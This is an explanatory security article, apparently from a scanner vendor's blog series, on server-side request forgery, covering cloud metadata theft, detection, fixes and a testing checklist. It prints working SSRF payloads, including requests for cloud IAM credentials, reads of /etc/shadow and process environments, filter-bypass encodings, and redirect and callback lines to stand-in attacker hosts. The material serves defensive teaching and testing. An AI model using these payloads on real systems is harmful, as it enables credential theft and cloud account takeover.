Server-Side Request Forgery in 2026: What Your Scanner Should Detect

Key Takeaways

  • SSRF is OWASP A10 and the attack class that turned cloud metadata endpoints into data exfiltration channels
  • Scanners should test for internal IP access, cloud metadata (169.254.169.254), and DNS rebinding bypasses
  • The primary fix is allowlisting outbound destinations and blocking access to internal IP ranges
  • Cloud environments are especially vulnerable โ€” SSRF to IMDS can escalate to full account takeover

SSRF โ€” Server-Side Request Forgery โ€” is the vulnerability that turned cloud metadata endpoints into data exfiltration channels. It's OWASP A10, it was the root cause of the Capital One breach, and in 2026 it remains one of the most dangerous classes of web application vulnerability because of what it gives an attacker: the ability to make the server send requests on their behalf.

That's the key distinction. With XSS, the attacker's code runs in the victim's browser. With SQLi, the attacker's query runs in the database. With SSRF, the attacker's request runs from the server itself โ€” inside the firewall, inside the VPC, with access to internal services that are invisible from the outside.

This article covers what SSRF is, why it's particularly dangerous in cloud environments, what a scanner should detect, and how to fix it. If you've read our SQLi detection and XSS detection articles, this completes the injection/forgery trifecta.

1. What Is SSRF?

Server-Side Request Forgery happens when an application takes a user-supplied URL (or partial URL) and makes a server-side HTTP request to it without proper validation. The attacker doesn't get to see the response directly in every case โ€” but in many cases they do, and even blind SSRF (where the response isn't returned) can be exploited through timing, DNS callbacks, or out-of-band data exfiltration.

The classic vulnerable pattern looks like this:

# Vulnerable: user controls the URL, server fetches it
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)  # Server makes the request
    return response.text           # Response returned to user

An attacker sends:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

And the server โ€” running inside AWS โ€” dutifully fetches the IAM credentials from the instance metadata service and returns them to the attacker.

Where SSRF Hides

SSRF isn't limited to obvious "fetch this URL" endpoints. It appears in:

2. Why Cloud Makes It Worse

SSRF existed before cloud computing, but cloud made it catastrophic. The reason is simple: every major cloud provider exposes an instance metadata service at a well-known IP address that's accessible from any process running on the instance.

Cloud Metadata Endpoints

ProviderEndpointWhat It Exposes
AWS http://169.254.169.254/latest/meta-data/ IAM role credentials, instance ID, security groups, user data scripts
GCP http://metadata.google.internal/computeMetadata/v1/ Service account tokens, project ID, instance attributes
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Subscription ID, resource group, managed identity tokens

The 169.254.169.254 address is a link-local IP that's only accessible from the instance itself. From the outside, you can't reach it. But if you can make the server request it via SSRF โ€” you get everything.

The IMDSv2 Defence (AWS)

AWS introduced IMDSv2 (Instance Metadata Service version 2) to mitigate SSRF attacks against the metadata endpoint. IMDSv2 requires a PUT request to obtain a session token before metadata can be accessed. Since most SSRF vulnerabilities only allow GET requests, this blocks the attack.

But IMDSv2 is not enforced by default on all instance types, and many organisations still run IMDSv1 (which accepts plain GET requests). GCP requires a Metadata-Flavor: Google header, which provides some protection. Azure requires a Metadata: true header.

None of these are foolproof. If the SSRF vulnerability allows the attacker to control request headers (not just the URL), all three can be bypassed.

3. SSRF Attack Patterns

Pattern 1: Cloud Metadata Theft

The highest-impact SSRF pattern. The attacker targets the cloud metadata endpoint to steal IAM credentials or service account tokens, then uses those credentials to access other cloud resources (S3 buckets, databases, other services).

# AWS metadata โ€” get IAM role name, then credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: "my-app-role"

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-app-role
# Returns: AccessKeyId, SecretAccessKey, Token

Pattern 2: Internal Service Access

The attacker uses SSRF to reach internal services that aren't exposed to the internet โ€” admin panels, databases, monitoring dashboards, internal APIs.

# Scan internal network
GET /fetch?url=http://10.0.0.1:8080/admin
GET /fetch?url=http://192.168.1.1/status
GET /fetch?url=http://localhost:6379/  # Redis

Pattern 3: Local File Read

If the application's HTTP client supports the file:// protocol, the attacker can read local files:

GET /fetch?url=file:///etc/passwd
GET /fetch?url=file:///etc/shadow
GET /fetch?url=file:///proc/self/environ  # Environment variables (may contain secrets)

Pattern 4: Blind SSRF via DNS/HTTP Callbacks

When the server doesn't return the response body, attackers use out-of-band techniques. They inject a URL pointing to a server they control and watch for the callback:

GET /fetch?url=http://attacker-controlled.example.com/ssrf-callback

If the attacker's server receives a request from the target's IP, SSRF is confirmed โ€” even though the attacker never sees the response in the application.

4. SSRF Bypass Techniques Scanners Must Handle

Developers often implement SSRF protections that check the URL string โ€” blocking "169.254.169.254" or "localhost" literally. Attackers bypass these with encoding tricks and parser differentials. Your scanner needs to test these bypasses, not just the basic payloads.

IP Address Encoding Bypasses

The IP address 169.254.169.254 can be represented in multiple formats that resolve to the same address but evade string-matching filters:

# Decimal encoding
http://2852039166/latest/meta-data/

# Octal encoding
http://0251.0376.0251.0376/latest/meta-data/

# Hex encoding
http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/

# Mixed encoding
http://169.254.0xa9.0376/latest/meta-data/

# IPv6 mapped IPv4
http://[::ffff:169.254.169.254]/latest/meta-data/

# Shortened IPv6
http://[::ffff:a9fe:a9fe]/latest/meta-data/

If your scanner only tests the dotted-decimal form, it misses every one of these. A production-grade scanner tests at least decimal, hex, octal, and IPv6-mapped variants for each target IP.

URL Parser Differential Attacks

Many SSRF filters parse the URL to extract the hostname, then check it against a denylist. But the filter's URL parser and the HTTP client's URL parser may disagree on what the hostname is:

# URL with credentials โ€” some parsers extract "allowed.com" as host,
# but the HTTP client connects to 169.254.169.254
http://[email protected]/latest/meta-data/

# Backslash confusion โ€” some parsers treat \ as path separator
http://169.254.169.254\@allowed.com/

# Fragment confusion
http://169.254.169.254#@allowed.com/

These work because URL parsing is surprisingly inconsistent across libraries. Python's urllib, Node's url module, Go's net/url, and browser URL parsers all handle edge cases differently.

DNS Rebinding in Detail

DNS rebinding defeats the "resolve first, then check" defence. The attack works in two steps:

  1. The attacker registers a domain (e.g., rebind.attacker.com) with a very short TTL (1 second)
  2. First DNS resolution returns a public IP โ€” passes the filter's check
  3. By the time the HTTP client makes the actual connection, the DNS has been updated to return 169.254.169.254

Tools like rbndr and services like 1u.ms make DNS rebinding trivial to test. Your scanner should either test with rebinding payloads or flag applications that don't pin DNS resolution.

Redirect-Based Bypasses

Even if the application validates the initial URL, it may follow HTTP redirects without re-validating:

# Attacker hosts a redirect on their server:
# https://attacker.com/redirect โ†’ 302 โ†’ http://169.254.169.254/latest/meta-data/

GET /fetch?url=https://attacker.com/redirect
# Application validates attacker.com (allowed), follows redirect to metadata

Scanners should test with redirect chains that land on internal targets. If the application follows the redirect and returns metadata content, the SSRF protection is incomplete.

5. What Your Scanner Should Detect

A thorough SSRF scanner should test for all four patterns. Here's what the detection matrix looks like:

Detection TypePayloadWhat to Look ForSeverity
Cloud Metadata http://169.254.169.254/latest/meta-data/ AMI IDs, instance-id, iam/security-credentials in response CRITICAL
Cloud Metadata http://metadata.google.internal/computeMetadata/v1/ computeMetadata, project/project-id in response CRITICAL
Cloud Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 subscriptionId, resourceGroupName in response CRITICAL
File Read file:///etc/passwd root:.*:0:0: pattern in response CRITICAL
Internal Access http://localhost/, http://127.0.0.1/ Internal IP addresses (10.x, 172.16-31.x, 192.168.x) in response HIGH
URL Reflection Any injected URL Injected URL appears verbatim in response body MEDIUM

Why Severity Matters

Cloud metadata and file read findings are CRITICAL because they represent immediate data exfiltration. Internal access is HIGH because it confirms the server will make requests to internal addresses โ€” the attacker just needs to find the right target. URL reflection is MEDIUM because it confirms the parameter is processed server-side but doesn't prove exploitation yet.

6. Detection Methods: How Scanners Find SSRF

Parameter Injection

The scanner identifies URL parameters that might accept URLs (common parameter names: url, link, src, href, redirect, callback, next, dest, target, uri, path, file) and replaces each with SSRF payloads one at a time.

For each parameter-payload combination, the scanner sends the request and analyses the response body for indicators of successful server-side fetching.

Response Analysis

The key to SSRF detection is knowing what a successful attack looks like in the response. The scanner checks for:

What Good Scanners Do Differently

Basic scanners only test GET parameters. Better scanners also test:

7. Real-World SSRF Examples

Capital One (2019) โ€” $80M Fine, 100M Records

The most famous SSRF attack. A misconfigured WAF on an AWS EC2 instance allowed an attacker to reach the instance metadata endpoint, steal IAM credentials, and use those credentials to access S3 buckets containing 100 million customer records. The root cause was a combination of SSRF in the WAF proxy and overly permissive IAM roles.

GitLab (2021) โ€” $20K Bug Bounty

A researcher found SSRF in GitLab's import feature. When importing a project from a URL, GitLab's server would fetch the URL โ€” including internal addresses. The researcher demonstrated access to the GCP metadata endpoint from GitLab's cloud infrastructure.

Shopify (2020) โ€” $15K Bug Bounty

SSRF via the "import products from URL" feature. The application fetched user-supplied URLs server-side without validating the destination, allowing access to internal services.

The Pattern

Every major SSRF breach follows the same pattern: (1) find a feature that fetches URLs server-side, (2) inject an internal URL, (3) read the response or use out-of-band exfiltration. The attack surface is any feature that takes a URL as input.

8. How to Fix SSRF

Layer 1: Input Validation

# Allowlist approach โ€” only permit known-good domains
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}

def validate_url(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError(f"Domain not allowed: {parsed.hostname}")
    if parsed.scheme not in ('http', 'https'):
        raise ValueError(f"Scheme not allowed: {parsed.scheme}")
    return url

Use allowlists, not denylists. Denylists (blocking 169.254.169.254, localhost, etc.) are always incomplete โ€” attackers find bypasses through DNS rebinding, IPv6 addresses, URL encoding, and redirect chains.

Layer 2: Network Controls

Layer 3: Application Architecture

Layer 4: Monitoring

9. SSRF Testing Checklist

Use this checklist when testing for SSRF in your applications:

#CheckHow to TestExpected Result
1 AWS metadata access Inject http://169.254.169.254/latest/meta-data/ into URL parameters No metadata content in response
2 GCP metadata access Inject http://metadata.google.internal/computeMetadata/v1/ No metadata content in response
3 Azure metadata access Inject http://169.254.169.254/metadata/instance?api-version=2021-02-01 No metadata content in response
4 Local file read Inject file:///etc/passwd No file content in response
5 Localhost access Inject http://localhost/ and http://127.0.0.1/ No internal content or IP addresses in response
6 Internal network scan Inject http://10.0.0.1/, http://192.168.1.1/ Request blocked or no internal content returned
7 URL scheme restriction Inject gopher://, dict://, tftp:// URLs Non-HTTP schemes rejected
8 Redirect bypass Inject URL that 302-redirects to http://169.254.169.254/ Redirect not followed to internal address
9 DNS rebinding Use a domain that alternates between public and private IP resolution Request blocked after DNS re-resolution
10 IMDSv2 enforcement (AWS) Verify instance requires IMDSv2 token for metadata access GET to metadata endpoint returns 401 without token

10. SSRF Testing Tools

Manual testing and custom scanners benefit from purpose-built SSRF tools:

ToolWhat It DoesWhen to Use It
Burp Collaborator Provides unique callback URLs that log DNS and HTTP interactions from the target server Blind SSRF detection โ€” confirms the server made an outbound request even when the response isn't returned to you
SSRFmap Automates SSRF exploitation with modules for AWS/GCP/Azure metadata, local file read, and network scanning Post-discovery exploitation โ€” once you've confirmed SSRF exists, SSRFmap automates the data extraction
Gopherus Generates gopher:// payloads for exploiting SSRF against internal services (Redis, MySQL, SMTP, FastCGI) When the target's HTTP client supports the gopher protocol โ€” turns SSRF into RCE via internal service exploitation
interactsh Open-source alternative to Burp Collaborator โ€” generates unique callback URLs with DNS/HTTP/SMTP logging Blind SSRF detection without a Burp license โ€” self-hostable for sensitive engagements

Combining Tools for Full Coverage

A practical SSRF testing workflow combines these tools: use Burp Suite or interactsh to identify blind SSRF endpoints, SSRFmap to automate metadata extraction once confirmed, and Gopherus when gopher:// is supported and internal services (Redis, MySQL) are reachable. No single tool covers every scenario โ€” the combination matters.

Bottom Line

SSRF is the vulnerability that bridges the gap between "I can reach your web application" and "I can reach everything your web application can reach." In cloud environments, that means IAM credentials, internal APIs, databases, and metadata services.

The fix isn't a single control โ€” it's defence in depth: input validation (allowlists, not denylists), network controls (block private ranges at the firewall), application architecture (isolate URL-fetching services), and monitoring (alert on metadata endpoint access). And your testing must go beyond basic payloads โ€” IP encoding bypasses, DNS rebinding, and redirect chains are how real attackers evade SSRF filters in production.

If your scanner isn't testing for SSRF against all three major cloud metadata endpoints, bypass techniques, localhost access, and file:// protocol abuse โ€” it's leaving your most dangerous attack surface untested.

This article is part of our scanner detection series. See also: SQL Injection Detection, XSS Detection, TLS Auditing.

Advertisement